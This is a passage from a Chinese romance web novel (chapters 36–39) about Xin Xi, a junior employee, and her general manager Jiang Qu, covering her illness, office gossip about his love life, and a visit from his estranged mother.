姥姥并不缺钱,她对钱也并没有多大的贪欲,甚至常常说这些身外之物,生不带来死不带去的,何必计较太多,所以当姥姥说将空置的房间出租出去了,他一度很难理解。
是在辛熙撒着娇进门的那一刻明白的。他看见黎英刚听见开院门的声音,就立马起身去厨房盛汤,眉开眼笑地等着她开门进来,好像一整个晚上都在盼着这一刻的发生。
有些人的幸福是来源于获取,是被疼爱;有些人则或许是来源于付出,是被需要,是一直有人在她的身边。
姜渠起身要走,黎英忙不迭地追上来,说之前去云南旅游带了些当地特产,让他带回去给姜怀正。
虽然姜怀正作为她法律意义上的亲属的时间仅维持了几年,但他们的关系一直很好,这些姜渠都知道。
“你叫他自己过来拿呗”,他才不想送上门去被唠叨。
“他要有时间,我让你送?要不是我明儿一早要跟模特队的去嘉兴比赛,我自己就送了”,说话间,黎英已经将几大包东西理了出来,堆在了客厅,“都是些松茸啊、鸡枞菌什么的。他整天忙,也一把年纪了,让他要多注意补补身体。”
“他是医生”,怎么养护身体,他自己更专业。
“他更是你爹!”黎英才不管姜渠的推脱,反正都得听她的。年纪大就这点好,在这个家里可以说一不二。黎英重新点了点数,确认没有遗漏,才撑起身,揉着酸胀的膝盖,一副吃力的表情对辛熙说,“辛辛,你帮姥姥把这些搬他车上好不好?”
“好的呀”,辛熙立马行动起来。东西倒是不重,但大包叠小包,垒起来的高度几乎能挡住她的眉眼,她只能偏着头去看路。刚走了几步,手上忽然一轻,姜渠已经接过去了一大半。
辛熙站在原地,心想这人怎么不一起抱走,这样也省得自己再换鞋出门了。
“不走?”姜渠停下来等她。
“来了,来了”,辛熙赶紧跟上。
两个人一前一后,一男一女,沉默地走在胡同里。灯光明亮,却还是无法完全还原白日里的全貌,总有照不到的黑暗处,隐去事物原本的棱角。
一群少年骑着自行车相互追逐,那是青涩但飞扬的年纪。辛熙险些被其中一个撞到,少年道了歉,她也没计较。然后......姜渠似乎慢了下来,几步之后自然地移到了她的外侧。
路灯下的影子靠得近,她能看见他手腕上的金属表盘,白金的表圈,淡淡泛蓝的水晶镜面,她仿佛听见了指针行走的声音,滴答滴答,又咚咚咚,成了心腔里的异响。
像第一次见到他时,着了魔的不正常、不可控。
真是不争气,辛熙只能不断告诫自己,以致于姜渠都停了,她还在闷头朝前,直到人被他拽着。盛夏的经脉里都是滚烫的,猝不及防地碰触,辛熙被这份灼热吓到,下意识地甩开,这个举动由于没经思考,而显现出一种过分的抗拒。
姜渠的表情当然很难好看,沉默着将东西放进后备箱,冷不丁说了这么一句:“希望你不要辜负姥姥对你的疼爱”。
这话正着听,算是一句嘱托,反着听,可不像什么好话,辛熙不明白,疑惑地看向他。
“或许,你很擅长讨人喜欢,甚至可能以此为荣。但你要知道,这不是百试百灵的。任何的真心都需要得到真诚的反馈。”
姜渠想起刚才在微信群里看到的那段录制视频。简运在一众同事的起哄下,走向她,要和她喝交杯酒,这似乎已然成为了他们聚餐时的固定节目。简运大方自如地面对调侃,而她羞涩地站在他身旁,像极了一对新婚的小夫妻在接受恭贺。视频的背景音很嘈杂,他只在其中听清了她的那句:我喜欢喜欢我的。
希望被认可、喜欢被追捧,贪图玩乐,或许是二十出头的女生免不了的欲求。
“什么意思?我对谁不真诚了?”
要说像赵志远和张鑫那样,当面一套背地里一套的,她还可以装没听见,勉强维持表面和平。可像姜渠这样,当着面,明明白白地指责,她实在没有肚量装傻。
当然,她不能确定,是因为这个批评是当面的,还是因为这个人是他。
姜渠并没有再继续,他注意到了她眼底实实在在的委屈,或许,这并不是一个很好的时机。
他从不在意身边人品性上的高低,因为他从小就知道人性的最低处都是不堪的,如果对方恰是和你利益相关的,那么你需要做的不是辨别他的好坏,而是拿捏他最需要的东西,与之交换你最想要的。
而她,算是个例外,因为她曾经让他相信人性的纯善。他希望她能保持,虽然善良和有欲望并不冲突。
姜渠的沉默,让辛熙认为他甚至懒得对自己认定的偏见做阐述说明,于是追问:“姜总,请问你现在是在以什么样的身份在告诫我?”
他敛起眸,没有给出参考答案,“如果你不认同我的话,可以当我没说。”
“当你没说?说过的话可以当没说,做过的事也可以当没做呗”,辛熙生气了。她今天遇到太多的指责,可她找不到原因,“行,我知道了。既然你们都不喜欢我,那我明天就提离职,不在这儿碍你们眼了。”
离职?姜渠有些懊恼,甚至不明白怎么转到了离职上,他拉住转身的人,“不要在情绪之下做任何决定。”
辛熙苦笑,“知道了,谢谢姜总的再一次指点。”
真是够了。她当然知道在职场上没有人有义务为你的情绪买单,但今天真的太糟糕了,她的情绪需要发泄,不然会憋出病的。
辗转反侧了一夜,结果第二天,辛熙真的病了。
她晚上做梦打小人,从床上摔了下来,扭伤了脖筋,开始只是觉得有点隐隐地扯疼,也没放在心上,迷迷糊糊地重新爬上床睡了。
第二天一早,黎英出门前还特意叮嘱她桌上的早餐要趁热吃,辛熙想送黎英出门,谁料,刚起身就天旋地转地,人一头栽了下去,嘭地一声,吓得黎英赶紧推开门。
“怎么回事?”
辛熙没敢说实话,她怕耽
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误了黎英的行程,只说起猛了,估计有点低血糖,缓缓就好。黎英虽然不放心,但同伴已经打来电话催促,黎英只好再三确认她没有哪里伤着,才离开。
辛熙吃过早饭,又晕了一次,脖子僵硬着,头不能上下抬也不能左右移动,只好先去药店买了膏药,当场就请药店的工作人员帮忙贴了。
药店的工作人员一碰到她,惊问:“姑娘啊,你咋这么烫,可是发烧啦?”
“有吗?”辛熙探了探自己的额头,确实有些烫,难怪觉得头重脚轻,于是又买了一大包感冒药。
辛熙第一次请了病假,半天。
脖子上贴着一大张膏药,真的太容易让人误会她做了什么抹脖子的举动。加上额头上的退烧贴,回去的路上收获了不少同情的目光。她大概了解自己在别人眼中的是个什么可怜样,但又没有力气去解释,只能微微笑着,示意自己还好,恨不能在自己脖子上的膏药写几个大字:治扭伤而已!
才在太阳底下走了一小会儿,就出了一身的冷汗,辛熙扶着墙歇了一会儿。这时手机响了,是姜渠的,大概是见她没在公司打来质问的。她不太擅长生气,过了一晚上,昨日的气性差不多消没了,但一看见姜渠的电话,火气就又不可控地升起来。
“在哪儿?”
“我请假了。”
“我问你人在哪儿?”
“你管我在哪儿。你一个GM管我一个小员工干嘛,又想指点我什么吗?我昨天说了我要辞职了,你管不着我了。我下午回公司就提,你也不用催。”声音嗡嗡地,倒是没发现自以为的十分有力的回击,其实更像是在耍脾气地撒娇。
干得不错啊,辛熙鼓励了自己一句。可刚走到家门口就后悔了,因为她看到姜渠正倚着车门在等她,长腿交叠,抬起的手臂下能清晰地看到肌肉线条。
人感冒的时候是没有食欲的,只是没想到,色/欲居然还在。
辛熙为自己的不争气懊恼,叹气的时候鼻涕也跟着冲了两道出来,挂在鼻孔下,一顿手忙脚乱地找纸巾,然后,一张洁白的手纸伸了过来,脖颈处被温热的手掌捂住,姜渠一手固定住她的脖子,一只手给她擦掉了鼻涕。
这一刻辞职的心达到顶峰,她甚至想要就此打包回榆林了。
故事的走向有些奇怪,辛熙怀疑自己的脑子烧糊涂了,完全看不明白这个男人在做什么。他们一起进了屋,当然这并没有什么,毕竟他也算是房东。然后他从客厅的应急箱里找出温度计,量了量她的体温,询问了她的病症,又再检查了下她药品袋子里的药,确认没有买错,才又转身去了厨房。
辛熙坐在客厅里,由于脖子僵硬,她并不能看清他在忙活些什么,只知道他甚至没有一刻停下过。
飞机落地了,黎英给辛熙打来电话关心,才知道,是她不放心,打了电话给姜渠,让他过来看看。
“你要是不放心呢,就把院门敞开,街里街坊的都认识他的。”
辛熙知道黎英说的不放心是什么,毕竟在黎英的视角里,她和姜渠并不算熟悉。而她生着病,和一个不太熟悉的男人同处,肯定是会有戒备心的。
辛熙对此生出了些愧疚心,应该找个时机跟她解释一下的。
“英姨,我没有不放心的。姜姜人那么好,我很信任他,谢谢您把他叫来照顾我。”
37. 第 37 章
话说得是真心实意的,可怎么看见姜渠站在厨房门口看着自己,就有种说人坏话被抓个现行的尴尬。
辛熙当然相信他,毕竟自己真的没啥可给他图的。钱没有,人一个,人之前还是被他拒过的。想到这儿,辛熙反倒安心了,窝在沙发里,昏昏沉沉地睡着了。
这一睡,睡得天昏地暗地不知时日。辛熙醒来的时候,客厅里安安静静地,窗帘也被拉上,只有缝隙处有很微弱的光。她屈膝坐在沙发上,感冒带来的鼻塞、咽痛、口苦,和即将面临的失去工作,在这一刻变成了天大的委屈。
姜渠原本在书房开会。这间书房,在他搬出去后慢慢成了杂物间,虽然黎英收拾得井井有条,但留给他栖身的空间依然严重不足,但是没办法,他有个必须要上线的会,而客厅里有个睡得正香的人,他担心吵醒她。
当他听到一些轻微的抽泣声时,他暂停了会议,打开门就看见沙发蜷着的那小小的一团,像只被遗弃的小猫咪,被突然出现的人类惊着,反复确认来者的善与恶。
辛熙是真的被吓着了,她没想到屋里还有人,情绪来时,就丝毫没有控制,抽噎声硬是平复了好久才按住。
她不算要强,但羞于展示自己的脆弱。
突然发现有人的惊吓,和突然被人发现自己在哭的羞耻,两种情绪都足够惊悚。辛熙下意识地别过头去掩饰,偏又将脖筋扯得生疼,一时也分不清眼泪是为了哪般,只感觉在啪嗒啪嗒地掉。
“怎么了?是不是还有哪里不舒服?”姜渠着急地走过来,探了她的额头确认已经不再发烧,便担忧是不是有其他看不见的地方在疼,疼得让人哭得这么惨兮兮地。
“你,您......”辛熙摇摇头,鼻腔里黏糊糊地,通气都不太顺畅,“没走啊?”
“你这是想我走,还是不想我走啊?”姜渠有些哭笑不得,拿过茶几上的纸,就要往她脸上一通擦,辛熙赶紧接过来,就又听他确认了一遍事实,“我没走。先去洗把脸,锅里有粥,垫垫胃再吃药,好吗?”
他的语气太温柔,很难让人将昨晚那个刻薄地评判自己的人联系到一起。
或许,他还是有点怜悯之心的吧?
辛熙站在镜子面前,看着憔悴的自己,认定姜渠的温柔只是人类在面对病患时的基本修养,但她讨厌被怜悯,尤其这份怜悯带来的温柔令她动心。
辛熙从黎英那儿听她提起过姜渠小时候的事情,说他早熟、懂事。因为母亲常年的不着家,姥姥又要上班,所以他从很小就开始独立生活,自己穿衣吃饭,独自上下学。人还没有灶头高的时候,就已经垫着凳子开始做饭。一直到元如苏嫁给了姜怀正,他才过了几年被人照顾的日子。
所以看着满桌色香味俱全的病号饭时,辛熙惊叹的不是他的厨艺,而只是,自己是否值得这份荣幸。他为怜悯心所付出的心意,未免超过了些,她想,这其中肯定还有英姨的面子在。
真是太感谢英姨了,她是辛熙此生遇到的除去至亲之外,对她最好的人。
辛熙一边将盛饭一边总结,下意识地就盛了两碗,家里两个人,盛两碗,再正常不过了。总不好,人家辛辛苦苦做好了饭,自己一个人先吃掉吧。
手机传来微信提示音,是圣南医院的庄来,在问巡检的事情。
辛熙很想告诉他,公司不给做,因为你们在用的服务商是院长的小舅子,你说服不了你们医院的采购中心选择麦高的服务,我也没有能力说服我的公司,做这种吃力不讨好的事情。况且我要辞职了,我可能离开这个行业,甚至可能离开京北了。
辛熙打了一长串的话,最后默默删掉,回了个“好”字,总得善始善终。
辛熙盛好饭,去敲门。
书房门只是微微掩着,原本是姜渠怕她在客厅有什么动静,他好及时发现,辛熙倒是不知道,以为他只是找个安静的地儿处理工作,敲门后也就没有刻意压低声音,叮叮咚咚地,探着个小脑袋进来,“哈喽,姜总,可以吃饭咯。”
姜渠先是有些意外,欲言又止地勾勾唇,倒是什么都没说,辛熙已经从他的电脑屏幕上整整齐齐的小框人头上看出,他在开的是视频会议。
辛熙反应极为迅速地躲开,不确定自己有没有被看见或被听见。这不是丢人的事情,却是说不清楚的事情,辛熙觉得这一切似乎都在将她往辞职的路上逼。
苍天啊,大地啊,辛熙仰天长叹的时候,姜渠已经结束了会议,走出来,“吃饭吧。”
“哦,好。”
两个人面对面坐着,姜渠见她吃得心不在焉,以为是她不爱吃这些,劝她:“感冒了只能先吃点清淡的,就算不喜欢,也得尽量吃一些,这样身体才会恢复得快些。”
“哦”,辛熙无精打采地回答。
“或者,你有什么想吃的,可以告诉我,晚上给你做?”
哄小孩子的口吻,辛熙一时不知道该怎么回答。这男人也是奇怪,晚上和白天,像装了两具不同的灵魂。辛熙在心里腹诽,但面上还是装得乖巧,“不用不用,太麻烦您了。我已经好得差不多了,下午就可以去上班了。”
好像他照顾她,只是为了她能早些上班一样。
姜渠说:“麦高不是我的公司,我个人也不赞成任何员工为一份工作拼命。”
“当然,当然,只是我个人非常热爱工作而已。”
言不由衷却又说得十分笃挚,姜渠被逗笑了,“不是要辞职吗?”
“啊......是要的呀”,热爱工作又没说热爱在麦高工作的咯,辛熙没敢说后面半句,但转念一琢磨,他这真是在催着自己离职啊,于是又强调了一句,“下午回公司就提流程”。
辛熙很明显的看到姜渠眉头一皱,本来身子就不爽利,闷闷沉沉地,就不想太去揣摩领导的微表情,索性依着性子,破罐子就破摔了吧。
微信上又滴滴几声,有销售找她做合同,有经理找她要报表,当然,也有先前在津南认识的客户,找她询价的,咨询参数问题的,办私事儿的,接连不断。
她一个小小专员,倒显得比座儿上这位GM还要忙。
姜渠几次欲说话,都被打断,在辛熙再一次接完一个客诉电话后,姜渠终于忍不住问她,“你在津南,忙的就是这些?”
帮订餐、帮跑腿,甚至还帮客户遛狗、接送孩子、陪护老人,几乎成了兼职保姆,姜渠从辛熙的通话里听出了个大概。
“他们愿意让我去做这些,也是在给我机会。说明他们已经信任我了,至少是记得我了,今后有什么业务机会,也自然会想着我的。”
辛熙想得很简单,想与完全陌生的人达成人际关系上的进
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步,自己就得率先让利讨好,不然她的十五个方案连递送的门路都找不到。
这是很多初级销售的惯性思维,以为只要与人保持联系,就算有了人脉资源。
姜渠甚至无需用言语表达对她这句话的质疑,辛熙已经缴械自弃,“虽然效果不明显,但那只是暂时的。”
“可你现在要辞职了。”
“我离职是因为......”
“因为你没有出业绩,在团队里说不上话,所以你的经理不会为你提供资源支持,因为他认为投入产出比过低。”
“不是”,辛熙下意识地想要否认。她辞职,是因为同事的不友好,领导的不认可。
姜渠似乎看穿了她的心思,“不要告诉我,你要辞职是因为职场中的人际关系。辛熙,职场不是学校,给你机会学习还让你来交朋友。”
姜渠知道自己的话有些残忍,但他实在不希望她太过被同事的评价所影响。在职场,你可以选择面面俱到,与所有人交好,但前提是,你得先有能力站住脚。
他什么都知道。
昨晚,辛熙走后,简运和张鑫闹了一架,险些打起来。原本卢湘只是为辛熙打抱不平,将赵志远和张鑫的聊天说给了简运听,冲动的简运找了个借口和张鑫在酒桌上对吹,互不相让,谁劝也没用。
李元将视频发到了经理群,话说得像在开玩笑:老赵底下的销售可以啊,有拼劲儿。
姜渠看见了,自然得理会,说:劝着点儿,别喝过了。
李元:劝了,不听。
一个没到场的销售经理好奇地发问:图个啥?自己人就干起来了。
李元贼贼一笑:男人拼酒,还能为啥。
然后,李元毫无保留地,将东拼西凑来的片段,编成了一段完整的故事,分享出来。
那个经理只感叹了一句:还是年轻好啊。
“我没想和所有人都成为朋友,但至少可以做到真诚、友善吧。”
“你认为赵志远表面支持你转岗,但实际却希望你留在原岗位是不真诚?”
“我只是希望能得到领导同事真实且客观的评价。”
“可你却并不能接受这种评价是负面的。”
“那是因为他们的评价并不客观。他们认为我的努力只是在模仿何耀丹,因为何耀丹是你欣赏的人,而我只是想要讨好你。可事实是,我只是想要做好事情。”
“你只是想要做好事情,可你却在意他们的评价是否符合实情。”
辛熙知道自己辩论不过他,于是更生气了,“你总是有你的道理,我说不过你,但没关系,反正我要离职了。”
姜渠忽然意识到这个谈话偏离他的初衷,他很懊恼,为什么要和一个可怜兮兮的病患,谈论伤脑子的事情,多容易伤了感情。
姜渠难得地道了个歉,“这不是我的本意。辞职是你的自由,但我希望,也是你深思熟虑的结果。”
辛熙忽然觉得好笑,“姜总,你现在又是在以什么身份劝我呢?GM还管我一个小员工的离职么?”
姜渠不说话。两个人中间隔着一餐精心烹制的饭菜,在慢慢变凉......
算了,辛熙拿起勺子喝了一口粥,嘴里淡淡地苦涩,让她无法品出粥的鲜甜,真是浪费了。
“我不希望你离职。”
38. 第 38 章
姜渠终于承认了自己的私心,这让辛熙有些措手不及,怔愣着,半天才问出一句,“为,为什么啊?”倒也没有厚脸皮地认为自己在麦高已经是不可缺少的核心员工了。
姜渠认真地思考了下,答案却给得很不认真,“大概是因为,你的英姨,我的姥姥,她老人家一直让我给你介绍工作。如果你真的辞职了,我还得再把你重新招进去。”
辛熙呵呵笑了声,“您可真幽默。”
辞职的事情倒是不急,辛熙一直惦记着要给圣南做巡检。赵志远摆明了不会帮她,眼前似乎就只剩这一条路,辛熙试探着问:“姜总,质控团队的排期......”
谁料,这人根本不给她把话说完的机会,直接拒绝,“是你自己说的,不要特殊照顾。”
半点余地没留。
“我没想要走后门”,她才不会傻到因为这么个事情真去求着姜渠从上面来干预此事。莫说姜渠会不会答应,真要是答应了,她以后也没法在公司自处,“我就是想请教一下姜总,您站得高看得远,有没有什么好的建议?”
“真想做?”这看起来是件吃力不讨好的事情。
“嗯”,辛熙回答得很坚定。
“先吃饭。”
“嗯?”
午饭后,辛熙坐了姜渠的车去公司。
她一开始是拒绝的,两个人同乘一辆车,如果遇到八卦一点的同事,很难不流出什么流言蜚语。
姜渠扬起唇,带着两分讥嘲,“做都做了,还怕人说?”
“怕啊,怎么不怕?”理不直气不壮地。辛熙一边换鞋一边低声回怼,虽然这后半句话只敢留给自己听,“也不知道是谁说的,没必要为此承担高风险。”
偏身体不争气啊。扭伤的脖筋稍一受外压,就容易供血不足导致眩晕,辛熙看着头顶的烈日,只能不争气地坐上了他的车,“那辛苦您,将我放到地铁口就成。”
“然后你晕在了地铁上,顺便上了个本地热搜,麦高的公关部即将因此迎来一场灾难事件。”
至于这么夸张吗?辛熙放弃了这个方案。
车子一路行驶到地下停车场,辛熙做足了准备,在进入监控区域时就已经调低了座椅,将自己完美隐藏,然后在姜渠停好车时,以迅雷不及掩耳之势下车,一溜烟地往安全通道跑了。
顾不得一直奉行的职场礼数,倒还知道要先走楼梯到一楼,再乘坐电梯。
正值午休时分,这幢楼里,多的是送餐的、取餐的,去吃饭的,吃完午饭赶回来上班的,来来往往。
辛熙端得一副姿态闲适,好像自己真是刚从外面进来的。遇见几个相熟的同事,见她一头大汗,调侃:“中午偷吃啥好吃的了?”
“没有啊,就热的,这天气,太热了哈?”辛熙以手作扇子,越是心虚,话越多,“你们不觉得热吗?哈哈,你们也来上班啊?”
问的什么话!同事一脸问号,揶揄道:“辛熙,你很不对劲儿哦。”
“有秘密喽?”
“慌了、慌了,你慌了......”
满心只在想着怎么应对,也就没注意到周围环境的变化,这时电梯正好上来,辛熙赶紧应付着,“没有,没有,热晕了”,一边快速闪身溜进电梯。
身后的人一窝蜂地涌进来,将她连推带挤地逼到了角落里,甚至没给她留一个转身的机会,以致于,她就这么和负一层上来的姜渠站成了面对面,而她,甚至不能偏一下头,错开这种直面的威压,只有一双眼睛上下左右地溜转,缓解尴尬。
两个人离得很近,她甚至能看见他微敞的领口下,有一颗黑色的痣,那颗痣的位置很正,像戴着一根锁骨链。一路往上是滚动的喉结和流畅的下颚线,辛熙只能看到这部分,再多,她就只能向上翻白眼了。
忽然没头脑地想:这人生得一副好皮囊,大概不会受什么情情爱爱的苦。想起之前那位漂亮的女士,辛熙生出点同命相连的唏嘘感。人在年轻、经验不足时,遇见耀眼却不可得的,大概率很难有个体面的谢幕。
“在看什么?”
她被惊了一跳,心想这人干嘛突然搭话,旁边同事的偷笑声也未免太大了,辛熙只能维持着下属应有的恭谨,嘴比脑子反应快,说了句,“姜总,您好白哦。”
时间以秒为单位缓慢流逝,辛熙明显感觉到眼前人一僵,但依然冷静自持地道了一声“谢谢”。
唯有她,这个始作俑者,脚趾抠地、后悔莫及。
兜里的手机开启了信息狂炸,不用看也知道,就是旁边的那几个人,在对她表示“恭贺”:哈哈哈,辛熙都敢撩姜总了,太阳打西边出来了,鱼也在天上飞了......
时运多艰,一步一错,人啊,还是得少做亏心事。
辛熙以平生最快的短跑速度,冲出了电梯间。
卢湘从茶水间出来,看到她跑过来时,有些惊讶,“干嘛呢?跑这么快,不是请假了吗?”
“哦,就请了半天。”
卢湘看着她惨淡的模样,啧啧感叹,“要不你是优秀员工呢,病假都只请半天。你哪儿不舒服啊?”
“就有点感......”
卢湘没等听到答案,就已经迫不及待地凑到她耳边,故意压低声音说:“你今早没来,错过了我司一个惊天八卦,超级劲爆,你是不知道,整个公司都沸腾了。”
“这么夸张的吗?”辛熙放好包,坐等她的下文。
卢湘显得迫不及待,将椅子拉来和她并排坐着,虽然声音在刻意压低,却难掩兴奋,直接提纲挈领地一句,“咱们的GM,姜总,谈恋爱了。”
“是......么?”心情很复杂。
“对方,还极有可能就是我司同事。”
“什么?!”辛熙差点惊叫出来。这一瞬间,脑子里有无数个好的不好的想法在闪过。
“是不是,我刚听见的时候也是这个反应,是不是很不可思议?”卢湘很难不激动。她也有一个秘密,姜渠刚到公司的时候,她私下里没少献殷勤,但都被姜渠婉拒了。她自认自己不差,会被拒绝,无非是碍于职场的上下级关系。虽然她愿意为此退让,例如辞掉工作,但在没有得到确切的回应之前,这种预支的付出,风险太大。
卢湘为此有些遗憾,或许,她应该再坚持一些,虽然李元也不错,但比起姜渠,只能算是差强人意的。
辛熙很难控制好自己的表情,“确,确定吗?”
“当然,从高管那边传出来的。听说早上的时候他们高管开会,都听见了姜总的背景音里有个女孩儿在叫他吃饭。”
“那也不一定是女朋友吧?”辛熙的心落了地,又腾地拔地而起,高管都这么闲的么?
“李元他们去过他家,他一直独居,听说也是家里独子,这突然冒出来个女生,不是女朋友,难道是保姆啊?”
辛熙扶额,感觉早上那种混沌的感觉又要卷土重来了,“那他们有说是谁吗?”
“没有。那女孩儿估计是感冒了吧,声音有点沙哑,没听出来是谁,人也只见着一个侧影。”
辛熙下意识地清了清嗓子,还好她当时只是因为刚哭过,声音有点嗡
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,倒没有真的失声,辛熙亮起嗓子:“湘湘,你刚是不是问我哪儿不舒服?哎,我跟你说,我昨晚摔下床,扭到脖子咯。”甚至昂着头,特意将贴的膏药展示出来,生怕没人看见。
卢湘敷衍地扫了一眼,倒没有特别关心。
辛熙为了加强这一事实,难得地发了张自拍在朋友圈,开放给所有人看。姜渠有没有谈恋爱我不知道,但这个绯闻对象绝对不能怀疑到我的头上!
施琪对这个八卦话题的冷淡态度,就显得有些不正常,虽然很多人在向她打听,但她对此一无所知。作为姜渠最信任的助手,兼一起奋斗过来的朋友,她是有资格生气的,毕竟她的每一任,在姜渠那里都有提前备案。
“你是不是应该给我一个解释?”
姜渠不明所以。他一路走到办公室,确实感觉到了一些异样,问:“我干什么了?”
“你不知道吗?”施琪将手机拍在桌面上,上面是一张放大的截图,但其分辨率低得几乎不能辨别出男女,她说:“虽然办公室恋情很难公开,但是,姜渠,你谈恋爱,我怎么能是最后一个才知道?”
姜渠只斜睨了一眼就推测出了个始末,淡淡地说了句,“没谈”。
“没谈?”这倒让施琪更感兴趣了,“你潜规则下属?”
姜渠无语地瞪了她一眼,重音强调了一句,“还没谈”。
施琪一副了然的表情,连连追问:“果然是麦高的员工啊。是谁?哪个部门的?我认识吗?”
“麦高的你有谁不认识。”
这句话既肯定了施琪的社交能力,又间接给出了答案,施琪的气一下子就消了,“行,知道你不会说,但我会自己查出来的。”
这时,玻璃窗外,辛熙刚好抱着文件走过,施琪注意到了她脖子上的膏药,“咦”了一声,“辛熙这脖子怎么了?不会被赵志远和张鑫气得给......”
施琪做了个非常夸张的抹脖子的动作,成功得到了姜渠的白眼,“只是扭伤”。
“哦~扭伤......”施琪心领神会,“你很了解嘛,姜总。”
辛熙并不知道自己此时正在被观摩。
她找到赵志远,将手里的资料递给他,赵志远只看了两眼,就将资料狠狠地摔在桌面上。她在被指责,但依然坚定地站在原地,岿然不动。
施琪有些担忧,赵志远看上去一点情面都没留,“要不要我去帮忙?”
“她自己可以搞定。”
施琪撇着嘴,无奈叹道:“活该你没谈上,走了”,眼不见心不烦。他想将小花养成大树,谁知道大树将来会眷恋蓝天还是大地呢。
辛熙成功约到了巡检。她立马联系庄来,告诉他,麦高的工程师会在明天上门。挂完电话,又马不停蹄地定了第二天去津南的高铁票。
真是开心!
怎么也应该告诉姜渠一声吧,毕竟主意是他帮忙出的。辛熙点开了他的微信头像,正要输入,刚打完一个姜字,肩就被人拍了一下,惊慌失措地回头。
“什么事这么开心啊?”
“哦,那个,圣南的巡检,质控部门安排了明天去做。”
“这么好,恭喜踏出第一步。”
“嘿,也只是万里长征的第一步。”
“我就说你找姜总比较有用吧。”
“嗯?嗯”,不可否认,确实有姜总的帮忙。
辛熙傻乎乎地点着头,没有注意到何耀丹的眼神里浮上来几丝不易察觉的轻蔑。漂亮女生在职场的优势,如果只单纯利用在获取便利,这可并不是什么好事。
39. 第 39 章
彼时,辛熙尚且不知,她从姜渠那里得到的指点,于其他人而言已然算是一种特殊照顾,有失公平,毕竟,没有任何一家公司的GM会有时间管这么小的一个case。
辛熙心存感激,回到座位上,想了想,还是给姜渠发了微信过去,说:谢谢您,赵经理已经同意给圣南做巡检了。
姜渠回得很快:恭喜,复又加了一句,改名字了?
辛熙的微信名字改成了“辛熙不辛苦”,起因是某天她在搜索微信聊天记录时发现,有太多人对她说过一句“辛苦了”,而这其中的大部分人,都只是为了让她更辛苦一些。
辛苦你了,这个事情很着急;辛苦你了,虽然我也不太想麻烦你的;再辛苦一下,只有靠你了,下班前要给我,等等......
她一开始都会回复:不辛苦,或者,应该的,小事一桩,次数多了,在某天忽然醍醐灌顶似地发现,没一个人真的觉得她辛苦。索性就不回了。
辛熙回复姜渠:嗯。那我这不算走后门吧?
姜渠回她:你自己谈成的,不算。
辛熙有一些小得意,她甚至想好了在巡检报告出来后,从什么角度说服庄来,甚至要将一份一百分的方案递到院长桌上,看吧,虽然你小舅子可以让你在家族群里获得好评,但是麦高,却可以让你在董事会上坐稳位置。
辛熙的愉快心情,延续到了下班。因为早上的耽搁,她一直加班到了九点,办公区域的灯灭了一大半,等到收拾好东西准备走的时候,整层楼里,只剩了自己。
落地窗户上可以清晰地映照出自己的模样,辛熙走过去,疲倦的身影与城市灯火交融成一体。
她伸了个大大地懒腰。伏案工作这么久,感觉脖子的酸胀在加剧,腰椎也僵得不像自己的,只能又来了套拉伸体操。一道掠影自身后的过道处闪过,瞧着像是姜渠,辛熙收拾起包,紧追出去,想着能搭个顺风车也是好的,这么晚了大概率也不会遇见同事。
辛熙在电梯门合上之前,按开了电梯。姜渠斜靠着电梯厢,看起来很疲惫,脸上有种突然被打扰的不耐烦,在看清人后才稍稍缓和。
电梯门合上下行,辛熙因为他那一刹那的厌烦而察觉到了自己的莽撞,讷讷地叫了一声“姜总”后转过身抱着包,沉默地背对着。
辛熙期待他能问一句,“这么晚了,你怎么回去?”或者说一句,“要不,我送你吧?”那么,她应该会非常不客气地接受,说一句,“那只好辛苦您了”。
但姜渠没有给她机会。他倒是开口了,语调淡淡地,例行公事地口吻,问:“才下班?”
辛熙觉得他在怀疑自己的工作效率,于是解释,“早上请了半天假,积累了些事务需要处理”。
姜渠没再说话,电梯的反光面并不能将他的表情折射出来,辛熙只能抬头盯着不断减少的数字,脚尖蹭着地毯的粗绒面,复又开口,“姜总,您也加班啊?”
声音在电梯厢里有些轻微发颤,姜渠并没有注意到,只很敷衍地“嗯”了一声。
小石头打着旋儿,沉入大海。辛熙有些失神,电梯到达一楼时,她反应延迟,感觉身后的人往前垮了一步,手臂擦过她的肩头,挡住了即将合上的电梯门,然后听到姜渠说了句“你到了”。
忙又匆匆走出去,待到想回头说句再见的时候,电梯门已经合上,继续在下行。
合上的电梯门让她看清了自己的面目,羞红未褪,眼波含情,这让辛熙后知后觉地产生一丝羞恼。
白日的那一点点不同,已经被盖棺定论,不过是自己自作多情的错觉。
好吧,得改!
辛熙独自回到吉兆胡同。
黎英不在,这让她有些落寞。屋子里空落落地,身体里有些发酸的东西在蔓延,她赶紧跑进浴室冲了个澡,待到身心都被温热的水流熨热,才一身舒舒坦坦地坐到客厅。
刚打开水果沙拉,门铃就响了,辛熙立马弹坐起来,心脏无意识地狂颤,确认自己无虞,才开了门,“你怎么......”
话断在唇边,门外站着的是一个陌生的女人,两个人同时发出一句,“你是谁?”
陌生女人往外退了几步,左右确认,门牌号也能对上,于是有些警惕地问,“黎英,还住这里吗?”
“您找英姨吗?她这几天不在哦。”
“那你是?”
辛熙自报家门,听到陌生女人小声嘟囔了一句,“老太婆这么穷了吗?都要靠收租过日子了”,话里话外,倒不像在关心人,更像是在看笑话。
“阿姨”,辛熙收起先前的温和,毕竟是对方先不礼貌的,“要是没什么事,就请回吧”。
陌生女人倒不介意她的冷淡,手一推门,大咧咧地走了进去,“你叫她英姨,叫我阿姨,哈哈哈,你怎么这么可爱啊”。
辛熙跟在后面皱紧了眉头,这人自来熟到像是进自己的家一样,然后突然灵光一现,辛熙惊讶地问:“您,您是英姨的女儿吧?”
元如苏环顾一周,将主卧、次卧、书房、卫生间全都巡视一遍,才幽幽叹道:“这老太婆多大气性啊,半点我的东西都没留着”,随后瞧见各处摆放着的黎英参加各种活动的照片,又啧啧评价了句,“老太婆,倒是越来越洋气了。”
辛熙不了解其中隐情,只能给她倒了杯水,“阿姨,您喝水。”
元如苏甩身坐到沙发里,喝了一口,咽得有些难受,“大夏天的喝热水,没有冰的吗?”
“冰水吗?那我去给您买吧”,反正旁边就是个小超市,辛熙也想趁机给黎英去一个电话。
元如苏倒不喝了,“算了,肯定是老太婆不让你喝凉的,她就这样,以前也这么管我。”
“行,那阿姨,您吃水果”,辛熙又将自己刚开封的水果拼盘推给她。
元如苏摆摆手,“你坐啊,干嘛站那儿,跟个受气的小媳妇似的。”
辛熙忐忑地移过去,暗道,总算知道姜渠那不好相处的脾气,是从哪里继承的了。
彼时,姜渠正在酒吧里借酒浇愁,不乏有主动又热情地女生凑上去搭讪,那些大牌香水的味道一阵浑一阵清,混在一起,倒让他生理性地生厌。
